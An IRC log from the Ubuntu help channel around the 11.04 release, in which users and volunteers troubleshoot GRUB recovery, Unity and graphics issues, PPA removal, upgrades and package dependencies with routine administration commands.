[15:52] <Krishnandu> Hey guys one of my friend installed Windows and lost his ubuntu. Now I suggested him https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows. He performed all the steps and it said "Installation Finished, No Error". But still he's not getting his Ubuntu, even now he lost his windows too. He says, it displays a blank screen with grub version detail and later some info like using tab and minimal bash commands are and later gr
[15:52] <Krishnandu> ub>. When he edit boot and hit enter it says kernel not loaded. So what the problem?? Please help
[15:52] <Omega> !paste | eags_
[15:52] <gartral> !pastebin eags_
[15:52] <ubottu> eags_: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[15:52] <gdea73> SMART attributes seemed fine. Though, I will note, I've had several failed Ubuntu installs with errno 5
[15:52] <gdea73> (usually corrected by burning the CD at 4x)
[15:52] <erez> Omega: After upgrading, I reenabled the ppas, and then it installed some gnome3 stuff, but I removed it all
[15:52] <eags_> got it, sorry
[15:52] <Omega> erez: Hmm, that might be causing some trouble
[15:53] <escott> gdea73, can you confirm it is msdos and not gpt partitioned?
[15:53] <gdea73> escott: I am not sure how to do that... the partition was formatted as ext4, that's all I know.
[15:53] <erez> Omega: yes, but everything now runs fine, except if I try to login to "ubuntu"
[15:53] <gartral> gdea73: it looks like your install got hosed. is this a fresh install?
[15:53] <dury> Omega: but there are other important files in the same sub stick :(
[15:53] <gdea73> gartral: Yes, I just installed this morning :P
[15:53] <escott> gdea73, its actually the partitioning scheme. is windows on the same disk?
[15:53] <gdea73> gartral: I'v been having some really odd issues lately, ...
[15:54] <Omega> dury: Oh, can you take them off for a second? (you can put them back later)
[15:54] <gdea73> and no, there are only 2 partitions
[15:54] <pao> i cant join backtrack-linux channel anyone tell me how!!!!
[15:54] <gdea73> they are both ext4, the second one is backup.
[15:54] <Omega> erez: install ppa-purge
[15:54] <Omega> !gnome3 | Omega
[15:54] <ubottu> Omega, please see my private message
[15:54] <gartral> gdea73: do you remember if you told the partitioner too do anything other than the recommended install?
[15:54] <erez> Omega: sure, brb
[15:55] <gartral> who's idea was it too have ubottu PM people. that's really irritating.
[15:55] <gdea73> gartral: Yes, I did configure them manually. I told it to format partition one (then 11.04 which I didn't like), to ext4, and install the bootloader to /dev/sda1 (partition 1).
[15:55] <dury> Omega: minimum space required for 11.04 in the usb stick?
[15:55] <Krishnandu> Hey guys one of my friend installed Windows and lost his ubuntu. Now I suggested him https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows. He performed all the steps and it said "Installation Finished, No Error". But still he's not getting his Ubuntu, even now he lost his windows too. He says, it displays a blank screen with grub version detail and later some info like using tab and minimal bash commands are and later gr
[15:55] <Krishnandu> ub>. When he edit boot and hit enter it says kernel not loaded. So what the problem?? Please help
[15:55] <escott> Krishnandu, it seems some bioses dislike allowing grub access to partitions not marked with the bootable flag so have him set the bootable flag on his ubuntu and windows partitions
[15:55] <eags_> Omega, vibhav: anyway, it looks like Indicator is correctly accepting Skype and rejecting others as per the default whitelist.  But it still isn't visible.
[15:56] <gartral> gdea73: AHHA! there's your mistake. grub should allways be in the MBR of the hdd. IE /dev/sda NOT /dev/sdaX
[15:56] <zomey> does anyone know how to deal with an email error 530 on postfix?
[15:56] <iandi> Hello! Im having issues with windowed fullscreen mode with xbmc in ubuntu, i've tried to get help through the xbmc forum but no one has replied. Here's a link with detailed information about the issue http://forum.xbmc.org/showpost.php?p=786924&postcount=3
[15:56] <escott> gdea73, the bootloader goes onto mbr /dev/sda not /dev/sda1
[15:56] <Omega> dury: I think it's ~ 700 MB, but how are you booting right now?
[15:56] <cheater2> hey guys, for some reason my mouse cursor just disappeared! what can i do?
[15:56] <Krishnandu> escott, Didn't got your point, can you please elaborate?? Or any docs link would also do...
[15:56] <ikt> load up a live cd and update-grub?
[15:56] <Omega> eags_: close skype and start it again
[15:56] <zomey> it says stmp server requires authentication but i never set that up?
[15:57] <oCean> zomey: maybe try #postfix channel
[15:57] <gdea73> escott: oh. so I have to reformat using sda
[15:57] <erez> Omega: it can't find anything
[15:57] <gdea73> escott: I thought I could put the boot loader on that partition, I'm not sure exactly why I wanted to but ...
[15:57] <dury> Omega: I will see
[15:57] <erez> I'm thinking, the xsession setting must be broken
[15:58] <gdea73> gartral: also having GRUB issues. my arrow keys don't work. they come up as letters, P, H, W or something.
[15:58] <escott> Krishnandu, use fdisk to set the bootable flag on the windows and ubuntu /boot partition (/ if he doesn't have /boot). there are lots of other details that we would need to know like how many disks he has, i've seen people have problems when they have multiple disks and only install grub on one of the mbr's
[15:58] <Omega> erez: the package is called ppa-purge you can find it in the software center
[15:58] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show any entries. Does this mean that there will be no classrooms in #ubuntu-classroom in May, 2011?
[15:58] <spotter> anone missing the gtk scrollbars in pidgin in natty?
[15:59] <escott> gdea73, you probably don't need to reformat, just use the livecd to chroot in and install grub to the mbr
[15:59] <gdea73> okay, thanks.
[15:59] <spotter> or they are really weird scrollbars now?
[15:59] <gdea73> bye
[15:59] <erez> Omega: I've installed it via apt-get and did sudo ppa-purge gnome3
[15:59] <erez> Omega: it can't find it
[15:59] <zomey> no one is in the #postfix channel
[15:59] <Krishnandu> escott, Ya I asked him to ran fdisk -l , only one HDD, /dev/sda, and he installed grub on MBR, he had 12 partitions on HDD, and he does have /boot
[16:00] <Krishnandu> escott, I can only see boot flag(*) set to /dev/sda1 which is NTFS partition, which I guess is Windows
[16:00] <cajun> i just upgraded and now I don't have my AWN launcher or the new one. Can someone help me fix this or direct me?  Thanks in advance
[16:00] <escott> Krishnandu, so add the boot flag to the /boot partition
[16:01] <puneet> is there a way to test gnome 3 without breaking unity
[16:01] <Guest39408> guys, i downloaded this app in teh .tar.gz format. how do i 'install' it into my ubuntu 11.04?
[16:01] <eags_> Omega, vibhav: restarting skype didn't work.  Here is my console output since resetting unity.  Notice that Skype is accepted twice, the second time is when I restarted it so it appears to be working but maybe some of this other output is interesting:  https://gist.github.com/950552
[16:01] <Krishnandu> escott, Thanks, lemme google it out about how to set boot flag
[16:02] <erez> Omega, thanks, I can see you guys are bushed, I'll inquire once the flood subsides
[16:02] <olx69> are there any known problems with update to 11.04?
[16:02] <sudipta> i installed natty a few days ago and installed nvidia propietary driver with jockey...but the unity session wont start..then i installed the very-small-compared-to-proprietary-driver free mesa driver(3MB) and unity just works well(though not very well)..is this a bug....why didnt the proprietary driver work?Used to work with earlier version of ubuntu
[16:02] <escott> Krishnandu, sudo fdisk /dev/sda then "a" "number of partition" "w"
[16:02] <billy1987> Is there a way to diable the desktop wall on 11.04 with out crashing my os?
[16:02] <waKKu> hi folks.. quick help, which package contains "runlevel" binary?
[16:02] <waKKu> dpkg -S /sbin/runlevel
[16:02] <Omega> erez: try sudo ppa-purge ppa:gnome3-team/gnome3
[16:02] <cajun> Ubuntu told me that I don't have hardware compatible with Unity...is the new launcher only available for Unity?
[16:03] <Krishnandu> escott, Number of partition is the ID of partition??
[16:03] <escott> Krishnandu, the number of the partition you want to set bootable
[16:03] <glycan> Is there a shell command to get IP?
[16:03] <escott> glycan, ifconfig
[16:03] <glycan> Thanks
[16:03] <Gl0ck> hey guys,if anyone knows,  wts the name of  wx.ListCtrl widget in QT?
[16:04] <Krishnandu> escott, means something like this sudo fdisk /dev/sda "a" /dev/sda9 "w" assuming /dev/sda9 is /boot
[16:04] <waKKu> hi folks.. quick help, which package contains "runlevel" binary? dpkg -S `which runlevel`
[16:04] <glycan> And what does all that stuff mean?
[16:04] <escott> Krishnandu, "a" it will ask the partition number "9" and then you write the changes with "w"
[16:04] <praveen> puneet: go here -http://www.gnome3.org/tryit.html and try out usb image writer
[16:04] <billy1987> is there a way to disable the desktop wall with out crashing my os on unubtu 11.04
[16:05] <chibihogoshino> how do i remove plymouth
[16:05] <iandi> Anyone got a clue why i cant seem to get windowed fullscreen in xbmc? More details here: http://forum.xbmc.org/forumdisplay.php?f=52
[16:05] <Krishnandu> escott, Ahh ok, got it..!! Thanks :)
[16:06] <Krishnandu> escott, Thanks a lot, lemme make him try this :)
[16:07] <praveen> billy1987: i think you are looking for this--http://ubuntuforums.org/showthread.php?p=10733442#post10733442
[16:07] <billy1987> thank you
[16:07] <praveen> my pleasure!!!
[16:07] <glycan> How do I do the wobbely windows again?
[16:07] <dios_mio> !ccsm | glycan
[16:07] <ubottu> glycan: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[16:07] <escott> glycan, install ccsm. and you just wanted the inet addr
[16:08] <billy1987> I just want to be able to use the desktop cube
[16:08] <adwaitneo> Installed Ubuntu 11.04
[16:08] <erez> Omega: Warning:  Could not find package list for PPA: gnome3-team gnome3
[16:08] <billy1987> but when i disable the wall it tells me i need it for unity and then it goes crazy
[16:09] <glycan> Yes
[16:09] <glycan> Thanks
[16:09] <Omega> iandi: Did it suddenly stop working?
[16:10] <Omega> erez: are you using that ppa though?
[16:10] <Omega> erez: try sudo ppa-purge -p gnome3
[16:10] <erez> Omega: no, I manually removed it from repositories and downgraded all the packages that were left on local or absolute in synaptic
[16:11] <Guest22328> i have just recently upgrade my ubuntu to the latest version and I detest it, how do i change it back to maverick meerkat?
[16:11] <erez> Omega: same thing
[16:12] <iandi> Omega: no this started to occur after the installation of xbmc 11.04
[16:12] <rumpe1> Guest22043, install maverick
[16:12] <glycan> Huh?
[16:12] <adwaitneo> I'm going for dinner !
[16:12] <adwaitneo> catch you guys later
[16:12] <Guest22328> rumpel: i have the latest version installed
[16:12] <Guest22328> rumpel: how do I change it back?
[16:12] <Guest22328> rumpel: is there a command i can run?
[16:12] <rumpe1> Guest22043, there is no downgrade-option
[16:13] <Guest22328> rumpel: there's no command I can run?
[16:13] <Guest22328> rumpel: i don't want to lose all of my files and such
[16:13] <angelsl> hi
[16:13] <ortsvorsteher> !downgrade | Guest22328
[16:13] <ubottu> Guest22328: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[16:13] <rumpe1> Guest22043, nope... except you use some fancy filesystem, which i doubt
[16:13] <angelsl> after upgrading my netbook to 11.04, i'm unable to get video
[16:13] <angelsl> switching to tty1-6 still gives me the normal prompt though
[16:13] <Guest22328> angelsl: yes, the 11.04 is giving a lot of problems
[16:14] <glycan> I still don't have it
[16:14] <angelsl> i see no peculiar messages in dmesg
[16:14] <angelsl> restarting gdm didn't help
[16:14] <beta___> does somebody here has knowledge how to compile a kernel?
[16:14] <Guest22328> ortsvorsteher: what do you recommend?
[16:14] <rumpe1> Guest22043, all your files are usually in /home... back it up.
[16:14] <Omega> iandi: Try choosing ubuntu classic at login and try it there, if it works there it's a unity bug and should be reported
[16:14] <Guest22328> rumpel: sorry but how
[16:14] <rumpe1> !Backup | Guest22043
[16:14] <ubottu> Guest22043: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[16:15] <oCean> !kernel > beta___
[16:15] <ubottu> beta___, please see my private message
[16:15] <ortsvorsteher> Guest22328, i would make an backup of my data and install the older version new
[16:15] <Omega> Guest22328: why do you want to downgrade?
[16:15] <KNUBBIG> !info tracker
[16:15] <ubottu> tracker (source: tracker): metadata database, indexer and search tool. In component universe, is optional. Version 0.8.17-1ubuntu2 (natty), package size 689 kB, installed size 2644 kB
[16:15] <Guest22328> omega: i don't like the set up of the new verision
[16:15] <rumpe1> Guest22043, and you really shouldnt change anything on your system without backup.. except your data is worthless
[16:15] <HelloWorld321> How secure is Ubuntu One?  Can you Encrypt it?  Does storing data in cloud computing violate a non-disclosure agreement?
[16:15] <Guest22328> omega: the menu bar is on the left side, for example
[16:15] <merlin2049er> hey,  i upgraded to 11.04, but it deleted my google gadgets
[16:16] <merlin2049er> is that available for 11.04?
[16:16] <Omega> Guest22328: Choose ubuntu classic at login
[16:16] <beta___> @ubottu, I want to use the latest kernel on 10.04
[16:16] <Guest22328> omega: let me try that
[16:16] <angelsl> hi Omega
[16:16] <angelsl> pfft
[16:16] <Omega> hi angelsl O:
[16:16] <KNUBBIG> exit
[16:16] <KNUBBIG> damn
[16:16] <beta___> because I don't like the new ubuntu 11.04, want to wait till 11.10 comes out..
[16:16] <angelsl> help me! no video after updating to 11.04
[16:16] <escott> HelloWorld321, hopefully better than dropbox, yes, talk with your lawyer
[16:16] <iandi> Omega: it works in classic mode (2d) not in Unity mode.. Pure fullscreen works but not windowed fullscreen, its like there's a hidden border at the bottom of the screen preventing it
[16:16] <sam_00393948> Does anyone know if upgrading to 11.04 is safe?
[16:17] <rumpe1> sam_00393948, upgrade is never "safe"
[16:17] <Omega> angelsl: what hardware?
[16:17] <angelsl> uhm
[16:17] <merlin2049er> it's safe but you'll loose some packages
[16:17] <angelsl> hmmm
[16:17] <merlin2049er> ie google gadgets
[16:17] <sam_00393948> so   ?
[16:17] <merlin2049er> and you'll have to get your own video driver
[16:17] <sam_00393948> should i do it?  i did it before and it failed
[16:17] <Omega> angelsl: I mean what graphics card
[16:17] <Tweaky> i cant even get past the part where it sets the software channels for upgrade D:
[16:17] <oCean> beta___: so why do you need the latest kernel?
[16:18] <Adik> siema
[16:18] <oCean> !pl | Adik
[16:18] <ubottu> Adik: Na tym kanale używamy tylko języka angielskiego. Możesz uzyskać pomoc w języku polskim na #ubuntu-pl.
[16:18] <beta___> it fixes my wireless problems, and also some fixes to my Optimus supported laptop
[16:18] <angelsl> Omega: GMA500
[16:18] <angelsl> it's an asus eeepc 1101HA
[16:18] <Adik> helo
[16:18] <rumpe1> sam_00393948, usually upgrading should work... but you can never be sure. That's something you have to decide.
[16:18] <tgies> did some recent upgrade break ecryptfs automount for anyone else
[16:18] <sam_00393948> rumpel   ok   how should i do it?   thru terminal?
[16:19] <Omega> angelsl: no video at all?
[16:19] <oCean> beta___: you could try as per the instructions in the message ubottu send you, but I won't recommend it if you don't exactly know what you are doing
[16:19] <rumpe1> sam_00393948, i recommend a fresh install via usb-stick
[16:19] <angelsl> Omega: switching to tty1 gets me a console
[16:19] <angelsl> restarting gdm didn't help
[16:19] <angelsl> tty7 still shows the bootup messages
[16:19] <beta___> Oke, thanks for the help :)
[16:19] <sam_00393948> ok...
[16:19] <astra05> j
[16:19] <angelsl> but it's ... 'frozen'
[16:19] <angelsl> i can't scroll
[16:19] <sam_00393948> i think ill just try thru terminal first
[16:20] <beta___> I will try Ubuntu 11.04, see that gnome2 is still there...
[16:20] <Omega> angelsl: you don't see anything?
[16:20] <angelsl> Omega: tty7 still shows the bootup messages
[16:20] <angelsl> but i can't scroll
[16:20] <oCean> beta___: you can choose 'classic' login, in 11.10 there won't be such an option
[16:20] <angelsl> and there's no cursor either
[16:20] <Omega> angelsl: fresh install?
[16:20] <angelsl> Update from 10.10
[16:20] <beta___> An other question: I've used emerald as my decoration manager, is it posible to get it working in 11.04?
[16:21] <tgies> yeah ecryptfs-utils 83-0ubuntu3.1 broke it
[16:21] <tgies> hmm
[16:21] <Omega> angelsl: did you have anything special installed in 10.10?
[16:21] <huggybeers> I just upgraded to 10.04 and now I have no sung
[16:21] <Omega> angelsl: for example gnome3?
[16:21] <huggybeers> sound
[16:21] <angelsl> Omega: nope. I installed the eeepc kernel extension though
[16:22] <Omega> angelsl: try sudo apt-get update && sudo apt-get upgrade
[16:22] <Omega> from a tty
[16:22] <praveen> sam_00393948: i think you must upgrade by alternate iso torrent...it is much faster
[16:23] <huggybeers> how do I get the sound back in 10.04
[16:23] <angelsl> Omega: nothing changed
[16:23] <Omega> angelsl: it didn't say anything?
[16:23] <angelsl> "0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded."
[16:23] <Tweaky> whats the prefered image pastebin?
[16:23] <Dasj_Dasj> I downloaded live cd of natty . Can i updrade using it?
[16:24] <ross_> ok - i was the one talking about the problems with 11.04
[16:24] <sakuramboo> okay, this is weird, ive been using unity for the past two days and then i just started my computer today and it told me that i dont have the right hardware to run unity, how can that be?
[16:24] <stanisav> i cannot make a usb startup disk in 11.04, i get Checksums do not match.  Retry?, and md5 hash of the iso file is correct
[16:24] <xangua> Dasj_Dasj: if you use maverick, yes
[16:24] <Dasj_Dasj> xangua:  yes i do. mine is 10.10
[16:24] <xangua> stanisav: tried with Unetbootin instead¿
[16:25] <Omega> angelsl: Seems like x doesn't start
[16:25] <Dasj_Dasj> xangua:  how come i do that
[16:25] <Dasj_Dasj> !upgrade
[16:25] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[16:25] <mgibson> I'm getting "Hash Sum mismatch" on Packages.gz when trying to upgrade to 11.04.  Ideas?
[16:25] <eags_> Omega, figured it out.  It is actually a dual head bug.
[16:25] <Adik> do you speake polish?
[16:26] <ross_> i've been having problems with images don't displaying correctly in the 11.04
[16:26] <oCean> !pl | Adik
[16:26] <ubottu> Adik: Na tym kanale używamy tylko języka angielskiego. Możesz uzyskać pomoc w języku polskim na #ubuntu-pl.
[16:26] <Dasj_Dasj> any way to do it
[16:26] <Omega> angelsl: ps ax | grep "X"
[16:26] <Omega> run that in a tty
[16:26] <angelsl> Omega: yup. nothing.
[16:26] <angelsl> which Xorg log should I look at?
[16:26] <Omega> eags_: Did you fix it?
[16:27] <eags_> Omega: I noticed when I showed all my desktops that I could actually see the notification icons way up in the middle of nowhere by themselves.   Also notification applets don't get copied to the other head
[16:27] <eags_> Omega: yeah but just by working around it.
[16:27] <Omega> angelsl: modprobe psb
[16:27] <coachj> can someone tell me or direct me to what I need to run the unity desktop please?
[16:27] <Omega> run that angelsl
[16:28] <angelsl> Omega: "module psb not found"
[16:28] <eags_> Omega: I just arranged my screens so the top of my main monitor is aligned with the top of my second monitor.  Before I had the top of my second, larger monitor higher than my main monitor creating some empty space above the main monitor.  That is where the notification applets are being drawn.
[16:28] <angelsl> Omega: apparantly
[16:29] <mman> just installed ubuntu 11.04 and a lot of icons, pictures and so on have like a pink tone. dont know how to fix the colors
[16:29] <ayrton> were are desktop effects in ubuntu 11.04
[16:29] <escott> sakuramboo, check your glxinfo
[16:29] <angelsl> "module ABI major version (8) doesn't match the server's version (10)"
[16:29] <Omega> coachj: You need a graphics card that has 3d support
[16:29] <angelsl> and then proceeds to unlod psb
[16:29] <handygandy> The one thing I hate about linux is the file browsers. Can someone suggest something close to Explorer?
[16:29] <Dasj_Dasj> I downloaded live cd of natty . Can i updrade using it? i am on 10.10
[16:29] <xangua> ccsm | ayrton
[16:29] <eags_> Omega: super hacky solution but whatever.  Anyway looks like Ubuntu is putting minimal effort into supporting older apps.  Especially given the whole whitelist thing.  Are all other DE on board with indicator as the way forward?  Are KDE and gnome apps going to support this?
[16:29] <peter_felching> Hi. Is it possible to use unity's panel with integrated close, maximize etc. in classic mode?
[16:30] <Froq> so I got a question, what is the write speed that a CD can impliment?
[16:30] <coachj> Omega: Ok I have an ati 7500 old but 3d used to work on where do i get driver?
[16:30] <angelsl> unload*
[16:30] <Acid190> Still cannot get this chat applet to load.
[16:30] <xangua> !ccsm | ayrton
[16:30] <ubottu> ayrton: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[16:30] <Acid190> http://pastebin.com/zntiBqn1
[16:30] <xangua> Dasj_Dasj: yes
[16:30] <Tweaky> hi. having a problem upgrading, this is what i get here -> http://img705.imageshack.us/i/screenshotdvj.png/
[16:30] <stanisav> xangua: will try now
[16:30] <Dasj_Dasj> xangua:  but how
[16:30] <mman> handygandy, nautilus
[16:30] <Superstar> How do I add another panel in Ubuntu 11.04?
[16:31] <xangua> Dasj_Dasj: burn it and put the cd
[16:31] <sakuramboo> escott: i have direct rendering
[16:31] <puneet> is there a way to test gnome 3 without breaking unity
[16:31] <xangua> Superstar: select 'classic desktop' on the log in screen
[16:31] <Dasj_Dasj> xangua:  should i boot it
[16:31] <mman> Superstar, no idea thats why i changed to gnome again
[16:31] <xangua> puneet: no
[16:31] <Superstar> mman but then I would lose unity
[16:31] <Omega> angelsl: do you know what graphics driver you're using?
[16:31] <escott> sakuramboo, does it look right for your hardware. its possible to install things that can break glx
[16:32] <handygandy> I use KDE, I don't think nautilus works well with KDE. Besides from what I remember of nautilus, I found it didn't really come cl;ose to Explorer.
[16:32] <angelsl> Omega: i forgot
[16:32] <Omega> PSB?
[16:32] <Superstar> I've spent 6 weeks getting used to it
[16:32] <dios_mio> Tweaky, upload your screenshot to a real pic host site
[16:32] <eags_> Omega: anyway, thanks for your help.  I'll file a bug.
[16:32] <angelsl> Omega: hold on
[16:32] <mman> Superstar, i know.. but that its the problem of unity...
[16:32] <Tweaky> dios_mio: such as
[16:32] <dios_mio> Tweaky, imgur or whatever
[16:33] <naveed> Hi every one
[16:33] <puneet> handygandy: explorer sucks
[16:33] <Superstar> mman hm ok thanks mate
[16:33] <angelsl> Omega: does uvesafb count?
[16:33] <xangua> drop that attitude dios_mio
[16:33] <mman> ;)
[16:33] <ayrton> cant install ccsm cause it has unmet dependences
[16:33] <naveed> I am new in Xchat
[16:33] <peter_felching> Is it possible to use unity's panel with integrated close, maximize etc. in classic mode?
[16:33] <xangua> handygandy: perhaps you want to ask on #kubuntu or a related kde channel ;)
[16:33] <Froq> naveed: do you just use 'sudo apt-get install xchat'?
[16:33] <oneliner> what is the command to restart the unity pluging? the top bar is getting stuck to black
[16:33] <naveed> Froq yes
[16:33] <linusasus6> hi by restarting ubuntu is not in grub menu but when I do update-grub he find it but that not fixing how to make reapear it please
[16:33] <Omega> angelsl: https://wiki.ubuntu.com/HardwareSupportComponentsVideoCardsPoulsbo/#Installation%20CD%20with%20PSB%20drivers
[16:33] <kyo> Got a problem doing an update (apt-get update) it is stuck at "Obj http://es.archive.ubuntu.com natty/universe Translation-es" , I use the new ubuntu 11.04
[16:33] <Froq> naveed: thz!!!
[16:33] <Omega> Follow those isntructions
[16:34] <Dasj_Dasj> okay if i upgrade will all installed softs and apps will be there or not
[16:34] <Tweaky> http://i.imgur.com/26m85.png
[16:34] <xangua> Dasj_Dasj: yes
[16:34] <naveed> Froq:
[16:34] <praveen> Dasj_Dasj:http://angger-kaboel.net/linux/how-to-upgrade-to-ubuntu-11-04-natty-narwhal-with-or-without-an-internet-connection/
[16:34] <Dasj_Dasj> xangua:  thanks
[16:34] <naveed> Farq:  I heard about IRC, so today i join it
[16:35] <Omega> peter_felching: not that I'm aware of ):
[16:35] <peter_felching> Omega, thanks.
[16:35] <naveed> Froq: m you are free to guide me about IRC
[16:35] <Ultimate_Chaos> hello
[16:35] <sakuramboo> escott: i found out the problem, i have a separate partition for /tmp, when i upgraded, ubuntu put /tmp on the / partition, last night, i added /tmp to /etc/fstab, but in doing so, it now couldnt load unity, i commented out the line, rebooted and now it works
[16:35] <Dasj_Dasj> praveen:  thanks
[16:35] <sakuramboo> does anyone know if unity requires /tmp to be executable to run?
[16:35] <Froq> naveed: what? I dont' understand what you jsut said?
[16:35] <Sidewinder1> Hey U_C
[16:36] <kyo> Got a problem doing an update (apt-get update) it is stuck at "Obj http://es.archive.ubuntu.com natty/universe Translation-es" , I use the new ubuntu 11.04
[16:36] <kyo> it happen to someone else here?
[16:36] <Tweaky> anyone able to help me upgrade? im getting an error. http://i.imgur.com/26m85.png
[16:36] <naveed> Froq: I said, what is the purpose of IRC  for normal user
[16:36] <mman> just installed ubuntu 11.04 and a lot of icons, pictures and so on have like a pink tone. dont know how to fix the colors. any idea?
[16:37] <naveed> Froq: and why people use it?
[16:37] <ayrton> i cant install ccsm cause of unmet dependences , compizconf-settings manager and python-compizconfig, but there both installed
[16:37] <ayrton> any help?
[16:37] <Froq> naveed: oo got ya!  it is available for you to get help on anything quickly.  You can often log onto here to discuss your problem.  IRC is rooted in that in the beginning of ubuntu days, a lot of collaboration occurred in IRC channels, though that is not as necessary anymore with GIT, etc.
[16:37] <Omega> sakuramboo: it shouldn't afaik
[16:37] <Dasj_Dasj> how to adjust icons according to your preference on natty sidebar
[16:38] <Sidewinder1> naveed, Perhaps because answers come faster than the forums.
[16:38] <Froq> naveed: I appreciate IRC because it is a chat room that is specific to a topic, and I can get deeper into the community quicker.  I learn so much by reading about a persons questions, and then watching what other members respond with (how they help)
[16:38] <hartmut> anybody using truecrypt with ubuntu classic and also not getting the application menu?
[16:38] <mman> Dasj_Dasj, right click on them
[16:38] <naveed> Froq  : thanks man
[16:39] <naveed> SideWinder1.. hmm i got your point boss
[16:39] <Sidewinder1> naveed, Ask and ye shall receive.
[16:39] <Omega> Tweaky: what version are you on?
[16:40] <Froq> naveed: maybe join the ubuntu-beginner channel also if you are new to ubuntu.
[16:40] <Froq> naveed: lots of new questions on there also
[16:40] <sakuramboo> okay, well, unfortunately, i dont have time right now to track down this bug, when i get some time, ill write up a blog post about it
[16:40] <naveed> sideWinder1 :) okay
[16:40] <linusasus6> please how to put ubuntu in the list of grub, when I do update-grub he found it
[16:40] <Tweaky> Omega: 10.04
[16:40] <sakuramboo> i just find it weird that /tmp has to be part of the / partition
[16:40] <naveed> Froq: ) hmm i m not new in ubuntu actually :) but i need to work on my basic
[16:41] <Froq> under unity, where do I get to turn on screen sharing?
[16:41] <naveed> Froq: how i can join Ubuntu_begginer channel
[16:41] <Froq> naveed: got ya!  haha, I am new.  and you using xchat
[16:41] <Froq> naveed: ?
[16:41] <Dasj_Dasj> I want to rearrange
[16:41] <Mugen> hi all
[16:42] <Mugen> somebody knows feedingbottle?
[16:42] <mofu> Screensaver locking up since I upgraded to 11.04 ,  was locking up on GLText screen saver in in random screensaver mode,  switched to a different saver under single mode to see if that helps
[16:42] <naveed> Froq .. as you were saying join Ubuntu begginer channel
[16:42] <Omega> naveed: /join #ubuntu-beginners
[16:42] <stefg> !grub | linusasus6
[16:42] <ubottu> linusasus6: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[16:43] <naveed> Omega :) Thanks dude ,, I m there too:)
[16:43] <antonyg> exit
[16:43] <naveed> Forq :) i m on Ubuntu Beginers
[16:43] <coachj> how do i install ed video drivers
[16:43] <coachj> 3d
[16:44] <Dedego> Can someone help me solve this problem? > http://paste.ubuntu.com/601769/
[16:44] <Omega> Tweaky: Try asking on the forums ): I don't knowhow to solve that one
[16:44] <Omega> !forums | Tweaky
[16:44] <ubottu> Tweaky: The Ubuntu forums can be found at http://www.ubuntuforums.org. There is also a channel on IRC freenode #ubuntuforums.
[16:44] <ikonia> Dedego: install the build-essential package
[16:44] <Sidewinder1> Omega: I just learned something; I didn't know there was a beginners channel; what a dummy I am..
[16:44] <linusasus6> stefg my grub is ok is ubuntu doesnt apear in the list http://pastebin.com/cEkpFdaM
[16:44] <niadh> I am trying to set up an ubuntu server using a wireless connection, but I can't seem to get static ip working
[16:44] <escott> Dedego, install build-essentials and gcc
[16:44] <Sidewinder1> Omega: Thanx
[16:44] <Omega> Sidewinder1: You're not a dummy! :)
[16:45] <ikonia> escott: build-essential will install gcc
[16:45] <Tweaky> omega: thank you
[16:45] <Sidewinder1> Omega: Tell that to my wife :-)
[16:45] <shigutso> how can I make unity bar stay animating urgent until I click it?
[16:45] <naveed> any body use trash-cli utility ??
[16:45] <hnsz> what program creates the status message for motd at login on ubuntu server?
[16:46] <ikonia> hnsz: it's just a text file
[16:46] <ayrton> ok guys i cant install ccsm
[16:46] <Dedego> escott: look http://paste.ubuntu.com/601770/
[16:46] <hnsz> ikonia: Yes but it gets updates
[16:46] <ikonia> hnsz: such as ?
[16:46] <hnsz> ikonia: With info abouit how many packages are upgradable and if i need to reboot
[16:46] <stefg> linusasus6: so you have a maverick (10.10) install, and that is controlling grub2, right?
[16:47] <hnsz> ikonia: Also recourde usage
[16:47] <ikonia> hnsz: record usage ?
[16:47] <escott> Dedego, it sure seems to think you dont have gcc installed so confirm that it is there
[16:47] <hnsz> ikonia: recourse
[16:47] <ikonia> recourse ?
[16:47] <hnsz> ikonia: sorry :) resource
[16:47] <hnsz> ikonia: like cpu mem etc
[16:47] <trailoryo> Hey guys I got a problem with watching 720p/1080pHD (in any player). It runs, but not even close to smooth. Here's "/var/log/Xorg.0.log" ----> http://paste.ubuntu.com/601700/
[16:47] <Ultimate_Chaos> hello, can the top bar be themed?
[16:48] <Castbound> yo!, hope you are keeping well. My laptop's multimedia keys stopped working, specially sound is what I'm worried about, what's the package that needs to be installed/reinstalled ?
[16:48] <linusasus6> stefg I got a linux mint that controlled grub2 ubuntu is on sdc4
[16:48] <ikonia> hnsz: can you pastebin me what you see in your motd when you login ?
[16:48] <hnsz> ikonia: Can I pm an example?
[16:48] <Stameni> does anybody know how i get acces to programs that are gonne in system tray [ubuntu 11.04] ? ? ?
[16:48] <tansell-laptop> I'm having problems with my intel 4965 under lucid, it just won't correct to my wireless network, I get "wlan0: authenticate with bc:05:43:a4:af:47" messages
[16:48] <Stameni> how do i acces system tray
[16:48] <ikonia> hnsz: pastebin it, lets see as most of that is controlled from parameter variables within the motd
[16:48] <ayrton> how do i install dependences so i can install ccsm
[16:48] <hnsz> ikonia: Im on terminal only, can pastebin it
[16:48] <Ultimate_Chaos> hello, can the top bar be themed?
[16:48] <ikonia> !pastebinit
